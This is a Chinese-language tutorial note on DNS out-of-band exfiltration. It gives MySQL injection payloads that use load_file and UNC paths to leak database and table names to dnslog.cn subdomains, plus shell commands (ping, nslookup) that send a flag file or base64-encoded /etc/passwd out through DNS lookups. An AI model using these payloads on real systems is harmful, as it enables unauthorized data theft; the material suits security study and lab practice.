DNS外带

DNS log:记录了你对此域名或者ip的访问信息(即日志记录)

DNSlog常见平台http://www.dnslog.cnhttp://admin.dnslog.linkhttp://ceye.io

UNC:一种命名惯例,主要用于在Microsoft Windows上指定和映射网络驱动器。UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。UNC命名由三个部分组成- 服务器名, 共享资源名称, 和一个可选的文件路径,\\servername\sharename\file_path。如访问softer计算机中名为it168的共享文件夹,用UNC表示就是\\softer\it168

SQL DNS外带注入

DNS外带注入:当我们对一个数据库进行注入时,无回显,且无法进行时间注入,那么就可以利用一个通道,把查询到数据通过通道带出去,这里的通道包括:http请求、DNS解析、SMB服务等。当我们输入域名时,会向DNS服务器解析获取IP在通过IP访问,在这过程中DNS服务器会产生对域名请求解析的日志,比如此时存在一个域名为summer.com,要使用的payload为 `whoami`.summer.com,就可以通过DNS解析日志来获取到主机名

mysql外带注入只能发生在windows机器上

1
2
3
4
5
select load_file(concat("\\\\",database(),".1a1m5e.dnslog.cn\\2.txt"));     

1' union select 1,load_file(concat('\\\\',(select database()),'.9hg8iv.dnslog.cn\\abc'))#

1' union select 1,load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema="pikachu" limit 0,1),'.9hg8iv.dnslog.cn\\abc'))#

设置load_file状态

load_file() :读取一个文件并将其内容作为字符串返回,参数是文件的完整路径

  • 当secure_file_priv为空,则表示没有任何限制
  • 当secure_file_priv为指定目录,则表示数据库导入导出只能在指定目录
  • 当secure_file_priv为null,则表示不允许导入导出

MySql查询secure_file_priv有以下方式:

1
2
3
show variables like '%secure%';

select @@global.secure_file_priv;

只有secure_file_priv为空时,才可以利用mysql-dnslog外带注入

DNS 命令执行

1
ping $(tac fl*).405f4ab6d0.ipv6.1433.eu.org.
1
nslookup $(cat /etc/passwd | base64 | head -c 63).g23a5v.dnslog.cn

注意

  • DNS 查询的主机名通常只能包含字母、数字、连字符等字符,Base64 编码可以确保数据在这些限制内
  • DNS 查询的子域名长度有限,通常为 63 字符以内